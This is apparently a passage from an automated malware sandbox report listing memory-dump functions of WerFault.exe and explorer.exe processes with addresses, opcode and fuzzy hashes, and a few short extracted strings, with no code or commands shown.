Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a466e744906314f643916410e0ab6c1460c824a29d2655d6ce65252c1f2f1af1
Instruction ID: cb4ef2fbba3be378b9c8ec9ae258b0cdc583e1c6a147f92fd71d707c6052250c
Opcode Fuzzy Hash: a466e744906314f643916410e0ab6c1460c824a29d2655d6ce65252c1f2f1af1
Instruction Fuzzy Hash: 2541BC31C4850E9BDB64EF08E8806FDB7B9FB5A390F00127AD01DE7281DB35AA85CB55

Function 00007FF887B395C5 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cf3bff4aae96dd0307a56af61d4da59970dcac53713a2a3da4e7e7c2b2e572
Instruction ID: 54b4edfa64cd6fede086700bb21b9571226d945b7a4b49bce98997f11370889b
Opcode Fuzzy Hash: a0cf3bff4aae96dd0307a56af61d4da59970dcac53713a2a3da4e7e7c2b2e572
Instruction Fuzzy Hash: 03410431E4E95A9FD7659B1CA8459BD7BF2FFA9394B0900B7E00EC3281DE18AC41C381

Function 00007FF887B37B91 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811308c0a72a8f76e0d9a76cb849d42381637500972ec779598514b2b5f006a1
Instruction ID: 45a8fda72f4c8fe92a0d152ea6bdc6cfadccfbeaf07b5dba0b8e3c9a553bbe83
Opcode Fuzzy Hash: 811308c0a72a8f76e0d9a76cb849d42381637500972ec779598514b2b5f006a1
Instruction Fuzzy Hash: 1F31A0318CE2C65FD35647206C226E93BB5BF03264F0A01E7E458CB492D92D6A9AC362

Function 00007FF887B3159B Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82f3f43ce528e926ad10ae4888d5fb22dbfa5b25b0dd551ab38bf53646829c88
Instruction ID: 5b1e1e86da075d964ac8d320ba236589c9eb71cdfdfbc36d92c369291ea98adc
Opcode Fuzzy Hash: 82f3f43ce528e926ad10ae4888d5fb22dbfa5b25b0dd551ab38bf53646829c88
Instruction Fuzzy Hash: 9F31AB35948A8E8FDB51EF98C8052EDBBF5FF59310F0401BAE808D7281DB38A954CB81

Function 00007FF887B3CAD0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4512f0c8b78c3f20000ca42361a4779d644b28801484261e97baad2bd7b7d2
Instruction ID: 11e150e128935cd58aba47201422c84af44f884157b5b83ea1ff8706e084966b
Opcode Fuzzy Hash: bb4512f0c8b78c3f20000ca42361a4779d644b28801484261e97baad2bd7b7d2
Instruction Fuzzy Hash: EC31B131D48A4E8FDB90EFA8D8495EE7BF5FF59350F010176E408D3291EA345981C791

Function 00007FF887B30A62 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ce13d8901afa48ccfba2cc365b540bae33fea3edc5533f901509b5005d92db
Instruction ID: b40fad5aa14dda5704584850354fdca15cc3e8ac29212fef8e2be07feb73d7b6
Opcode Fuzzy Hash: 33ce13d8901afa48ccfba2cc365b540bae33fea3edc5533f901509b5005d92db
Instruction Fuzzy Hash: 323172B2E5490A9BEB88EB98E4656FDB7F2FF88B41B440035D01DD3697DE2828418B50

Function 00007FF887B330C5 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecc732f0007f330fd5eb97fee337905d9a666d17351465a69b93aed8ff5d10a
Instruction ID: 461f4f64f3e964ff448aad6598c67f40e03706daf52a1b8d72052e75fe6d8f87
Opcode Fuzzy Hash: 5ecc732f0007f330fd5eb97fee337905d9a666d17351465a69b93aed8ff5d10a
Instruction Fuzzy Hash: C831F23088D69D5FDB42DB649816AEE7FF0FF0A310F0501B7E448D7192CA2C9585C7A2

Function 00007FF887B3D42D Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c1380afdeb5ae43c6e321d727795cc95775f6acce92e042adb396911e20964
Instruction ID: cd24ab4e8dc802296ac17efa7b4a2b6571d95ae4df148094748f8b1b611f88a1
Opcode Fuzzy Hash: 65c1380afdeb5ae43c6e321d727795cc95775f6acce92e042adb396911e20964
Instruction Fuzzy Hash: 9A21FF31E9C99A9FFB64A75868455FD77F2FF493A0B0400BAE00ED3181CE187840C392

Function 00007FF887B410DB Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1386caf83b663839a76a02cab6279f6506a88081693bcae5b324a6160a7fc6e
Instruction ID: f51709c353eb85861665024858cd22379ce154d2ef4dd8846911a8ff8b0b8b15
Opcode Fuzzy Hash: f1386caf83b663839a76a02cab6279f6506a88081693bcae5b324a6160a7fc6e
Instruction Fuzzy Hash: 21312930D89A5D8FDF54EBA8C484AEC77B2FF59341B500939D00DE7292CB39A881CB40

Function 00007FF887B39621 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7359c32864fbc81e8d3cf812787b46a5daf81a6ef8f71bd1659b62585d02847c
Instruction ID: 5f95f1092b8554e10247926457351e41897ef47c4acdc092a201d21c70fcdcfa
Opcode Fuzzy Hash: 7359c32864fbc81e8d3cf812787b46a5daf81a6ef8f71bd1659b62585d02847c
Instruction Fuzzy Hash: 40210231D8EA1B9FE7259B5868099BD7BF2FF69394F04007BE00ED3181DE186841C781

Function 00007FF887B358AA Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba975e22425dd5650f524e52720d4694c2056f22f8403a5af04a8ac68f5fbf1c
Instruction ID: 5f3c3bf5e4ece006cb1bc55ae9ca8d9e9fef3c96d113d438cc19de92e82bd6fd
Opcode Fuzzy Hash: ba975e22425dd5650f524e52720d4694c2056f22f8403a5af04a8ac68f5fbf1c
Instruction Fuzzy Hash: 5521AD3094864E8FEB84EFA8D4546ED77B2FF99350F00047AE40AE7292DB385950CB81

Function 00007FF887B31600 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7beedfcfc5fd1ab72577d80c302e4a2c7423da021b66231d51afca368a79196c
Instruction ID: 33677eb543961909278b0efb04a9e471f3355f582c2bf1a3b0ab13f9e512ff0b
Opcode Fuzzy Hash: 7beedfcfc5fd1ab72577d80c302e4a2c7423da021b66231d51afca368a79196c
Instruction Fuzzy Hash: 73216A31958A4E8FDB55EFA8C8456EE7BF5FF59300F0401B6E809E3291DB38A954CB81

Function 00007FF887B30598 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3e2ebe80e9c374d19cd65d967bbc416cd4a94494180ce8268a98658466fb4e
Instruction ID: 0088c4d9398f1c4f04668932b455256636cde2424fb6ca3c1bdc08998050991a
Opcode Fuzzy Hash: 3c3e2ebe80e9c374d19cd65d967bbc416cd4a94494180ce8268a98658466fb4e
Instruction Fuzzy Hash: FD21B270D0861E8FDB58DFA8D8446EEB7F2FF48351F10057AE419E2291DB39A990CB90

Function 00007FF887B3FBA6 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02eee47cbd3cf8e3494fb5e24722281a56785d9fc19296375bc030aa15b5a12a
Instruction ID: d851bfe1cc886f7144df6a72529e76863bcad32aca3181f384185f294e54c508
Opcode Fuzzy Hash: 02eee47cbd3cf8e3494fb5e24722281a56785d9fc19296375bc030aa15b5a12a
Instruction Fuzzy Hash: E1212C30948A9D8FDB95EFA8C858BAC7BF2FF59301F0404AAD409E7255DB759881CB41

Function 00007FF887B32F6A Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6ec4f843e7a6568539522b672a60eabd7ab9e49f500f508cac89074a62069e5
Instruction ID: cf44c87e9271303fe62efeedc147dc45d206e70f625f3b7bb12bb6ff133dc945
Opcode Fuzzy Hash: f6ec4f843e7a6568539522b672a60eabd7ab9e49f500f508cac89074a62069e5
Instruction Fuzzy Hash: 1421B634A4891D8FDF84EB98D495AEDBBF2FF59340F511169D00DEB252CA34A881CB40

Function 00007FF887B3C658 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9926f5c443f5b9b126f35de00087391096f4ef52af95461597df5765fb553457
Instruction ID: 55da4e23f687e6368c7b67f8773dd8b9d701aebf92a9691ba1556dc30c472f6e
Opcode Fuzzy Hash: 9926f5c443f5b9b126f35de00087391096f4ef52af95461597df5765fb553457
Instruction Fuzzy Hash: 46114971D5850E8EEB94DFA898516EEBBF2FF48341B54443AD00ED32D6CE3829819751

Function 00007FF887B33110 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70332827c4b42890a8592d463c010797f2a38f8ecdcd5beab9492dd00a6fe17
Instruction ID: feb5d8a9a9eed7d83f6b2b05f0526b46f352bbc7642ff9dd8a431e4b0e9e084b
Opcode Fuzzy Hash: b70332827c4b42890a8592d463c010797f2a38f8ecdcd5beab9492dd00a6fe17
Instruction Fuzzy Hash: 5A110230A2891D9FDF80EB98D859BEEB7F1FB58311F00057AE409E3291DB34A850CB91

Function 00007FF887B38F98 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57a8c4a8c030805c0b4f668d5c044de012241b32eabd3027d7c7917fd321e9f8
Instruction ID: 90b85693186d0d558e071f1eb59e44571248b0feaa56f0d738cfb58bdcca7963
Opcode Fuzzy Hash: 57a8c4a8c030805c0b4f668d5c044de012241b32eabd3027d7c7917fd321e9f8
Instruction Fuzzy Hash: E6112572D4894A8FEB85EAA89482AFC7BF2FF58340714057ED00EC3297DD3858C18781

Function 00007FF887B31648 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75d412aafae1dc40c9e514fa3efc25fed45c856c5d39002fe623db0605e8c512
Instruction ID: 7426004a454358672100e913764e8da44f9cf5b81ad080dc843e27de0df5acd0
Opcode Fuzzy Hash: 75d412aafae1dc40c9e514fa3efc25fed45c856c5d39002fe623db0605e8c512
Instruction Fuzzy Hash: 3B111235A58A5E8FDF94EF98C8456EE77F6FF58300F040176E909E3281DA78A950CB81

Function 00007FF887B39345 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a012b66ddc4e467e85eee2c7884e478e59d5d50ac86e35035100d1a24d6d49cd
Instruction ID: 6e1bfef094179dd2ec8f0d8aa560554704a23cc5e8d63dbf1a245b1869a8c366
Opcode Fuzzy Hash: a012b66ddc4e467e85eee2c7884e478e59d5d50ac86e35035100d1a24d6d49cd
Instruction Fuzzy Hash: BE018871A5C9098FEB48EB68E8566ECB7F1FF5A324F00017AD00EC31C3DA255856C741

Function 00007FF887B31650 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33bd0068108f305b81a401e42c52679442ad380e1a12b8c4d0679e1029fb48b6
Instruction ID: e6548a92d0c9ce4ee02e3f6eebbd92d99166c9d800574ea66e91488c08f4a20a
Opcode Fuzzy Hash: 33bd0068108f305b81a401e42c52679442ad380e1a12b8c4d0679e1029fb48b6
Instruction Fuzzy Hash: 02011334A18A1E8FCF50EF98C845AEE7BF5FF59300F000566E909E3250DB34A950CB91

Function 00007FF887B39B1B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0813890aa556226ec84fe0c0a3e47c32c4e50685e85c026203c2ac05ca726d8c
Instruction ID: 2a70e8015fc829f012a01875f5260d3337b7e190064dd0285186edafdf7c9ccc
Opcode Fuzzy Hash: 0813890aa556226ec84fe0c0a3e47c32c4e50685e85c026203c2ac05ca726d8c
Instruction Fuzzy Hash: 2C01F732E5C9875FE658AE6894452B9B7E1FF24784B4045B6D04EC7487EE28A849C341

Function 00007FF887B308B1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe078782a40979f02210c8f37faf8d44b48d373a32f4105055071599d8ea811
Instruction ID: 5455f8483176def269dcdd0a9e3a6879abca73d57611f5bae3474a8ef9702630
Opcode Fuzzy Hash: abe078782a40979f02210c8f37faf8d44b48d373a32f4105055071599d8ea811
Instruction Fuzzy Hash: 63019E308486888FD745DF68D84C3AC3FA1FF99314F5445AAD408C72D2DB394498C742

Function 00007FF887B3A088 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39897b33286641679da8fe291c8b5c533e35ccc474018e84a21ea71ccbc933ba
Instruction ID: 2a29d2d928271454d0d5fb1d5093f79d9065be4e0623614918102668b67453a3
Opcode Fuzzy Hash: 39897b33286641679da8fe291c8b5c533e35ccc474018e84a21ea71ccbc933ba
Instruction Fuzzy Hash: F701A731A58A468FD664EB38D0405A9B3F2FF59344B5049BDD04EC7596DE38F889C740

Function 00007FF887B3F858 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e6bbbb821511d093432197523f0724074bc61dab6969a740953664cdf06f0c4
Instruction ID: bae5a5270fa10301cba3cc612f0574c2e26f97cff9f4165758a450b7ad5f6b5e
Opcode Fuzzy Hash: 1e6bbbb821511d093432197523f0724074bc61dab6969a740953664cdf06f0c4
Instruction Fuzzy Hash: D5016231A58A4A8FDAA4EB39D0445AA73F2FF54394B404ABDC04EC7596DE39F885C740

Function 00007FF887B30955 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43d6aaddeb89e846f97585da6903b13bdbee751af44f9df376d5e1908d587318
Instruction ID: 29e65c9ada2adb0bd0c33bee21b97a1375383941716ab7fef7c3560c8c680f7b
Opcode Fuzzy Hash: 43d6aaddeb89e846f97585da6903b13bdbee751af44f9df376d5e1908d587318
Instruction Fuzzy Hash: B2F0C231C5854D9FE744EBA8C8452ADBBF2FF04300F4002B5D419C7192EE386994C741

Function 00007FF887B3CB58 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96b9a1807ddc865f0b72c4e78a99534d8463d7e5cb582ecd4bd0ca46e395e80
Instruction ID: 49db4022ce7af124a79b984efebab369b17ee933e6808ae948f5e032a5fdc2d7
Opcode Fuzzy Hash: a96b9a1807ddc865f0b72c4e78a99534d8463d7e5cb582ecd4bd0ca46e395e80
Instruction Fuzzy Hash: 2AF0E9B1C4894E6EF3A0A968980D57F6AF6FB89391B010277F40CC3190EE141C82C751

Function 00007FF887B39F07 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction ID: c400dd6cb36b5718296911962f21aa5f7a60b5efc18b9fc4ca7d359800492253
Opcode Fuzzy Hash: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction Fuzzy Hash: 20F0AF32248A0B8BE325962CE8517D973E2EBC5360F65467AD449C7395DD3EE5C2C340

Function 00007FF887B3F6D7 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a87b2da8a1335895c4643109daec343256f0f98190d8f31b8836a1b268995b8
Instruction ID: 011235c9477a1463ebd98fb147b7b3a8753d14c80f586458893f97ee1adf8778
Opcode Fuzzy Hash: 5a87b2da8a1335895c4643109daec343256f0f98190d8f31b8836a1b268995b8
Instruction Fuzzy Hash: 55F0AF32644A0B8BE7299A1CE4557D933E3EBC53A0F550A7AC819C7395DD3EE8C2C300

Function 00007FF887B390A2 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4980b3528ad17e3f8037ac2b4ef38a3230e4b80b732e5b377796478fd36c99ae
Instruction ID: 94956e8dd0086902bee09cf946fb546c9b6d475df73e737c5a64904d966000bf
Opcode Fuzzy Hash: 4980b3528ad17e3f8037ac2b4ef38a3230e4b80b732e5b377796478fd36c99ae
Instruction Fuzzy Hash: 78F0A931E1880E9FDF85EB98D459AEDB7F1FF58341B404165D41EE7292DE28A841CB50

Function 00007FF887B3C5DD Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e18ba3c8755fb450a96292069b908d4a3914c9057cd39ece1d84af07e5d90332
Instruction ID: b3f369c2e6b6ca4a933c5cf5ae6dc481f3ed597386c1f2ddf826850408c2fe03
Opcode Fuzzy Hash: e18ba3c8755fb450a96292069b908d4a3914c9057cd39ece1d84af07e5d90332
Instruction Fuzzy Hash: 10F06D3184928A8FDB52DBA49C115AEBFB0BF49280B4405FAE419C7192CA381A54C751

Function 00007FF887B31BE3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba41bc09fc2551e00e6bfdf961ff231ad3e8f6f713257567968f16bc40e09b1f
Instruction ID: f0dbdbf25fffa23ff008878286cc47f3966954854a44f610854ba3e725e453bf
Opcode Fuzzy Hash: ba41bc09fc2551e00e6bfdf961ff231ad3e8f6f713257567968f16bc40e09b1f
Instruction Fuzzy Hash: D8F01731E0891D8FEF94EB9C98856ECB7F6FB58341F50016AC40DE3242EE385891DB40

Function 00007FF887B3B9CD Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction ID: 6167a30add8608e84c7a9510e6a48ee39c4698950e4ae1bbf2def4abbf4c5d73
Opcode Fuzzy Hash: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction Fuzzy Hash: 3DB00964CDD91791E82466A108962BE54E2BF493A8FA44AB2D40E4218EEC4E31D9E352

Non-executed Functions

Function 00007FF887B40F1D Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887B40FCF
3Z_H, xrefs: 00007FF887B40FF4
b4B, xrefs: 00007FF887B40F7E
b4B, xrefs: 00007FF887B40F30

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 3Z_H$b4B$b4B$b4B
API String ID: 0-1711481409
Opcode ID: 67f212b33bc6a055de01acd819e24ad0ae4b1b15c91050ac43cdcd0666ddbafa
Instruction ID: ef989e9a70229e794a4ac27324381d5ffb612ee6226aafcffc0cd10f8a999282
Opcode Fuzzy Hash: 67f212b33bc6a055de01acd819e24ad0ae4b1b15c91050ac43cdcd0666ddbafa
Instruction Fuzzy Hash: 59413C71D4894E9FEF94DB98D8957ECBBF2FF58340F5041B9C00DE7286DA2819428B41

Analysis Process: explorer.exePID: 7664, Parent PID: 1124COMMON

Executed Functions

Function 00007FF887B4109D Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B41278

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: 3091286ed490bbf2d9fd120e7c4a431b920596d325e65a27bf6c325334b890da
Instruction ID: 3418a8d3c889fbf9d743e821b19d7192065761dfc9e1991b7ff8ef75b390a63f
Opcode Fuzzy Hash: 3091286ed490bbf2d9fd120e7c4a431b920596d325e65a27bf6c325334b890da
Instruction Fuzzy Hash: 9081F670D89A1D9FEB94EA68D8956ECB7B2FF59740F5001B9C00DE7292DE386981CB40

Function 00007FF887B416C5 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF887B4176F
HBL, xrefs: 00007FF887B41765

Memory Dump Source

Source File: 00000012.00000002.1491054748.00007FF887B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff887b40000_explorer.jbxd

Similarity

API ID:
String ID: N_H$HBL
API String ID: 0-684199934
Opcode ID: 724d88f22ffe08e51b558e37f51f0e884f0f587df7b4fb83a3b5e69f26ffab0b
Instruction ID: 7813a343f2cad6831b14f2eabb91ad0bea8eb304367727f5ff8d40a4a234e9dd
Opcode Fuzzy Hash: 724d88f22ffe08e51b558e37f51f0e884f0f587df7b4fb83a3b5e69f26ffab0b
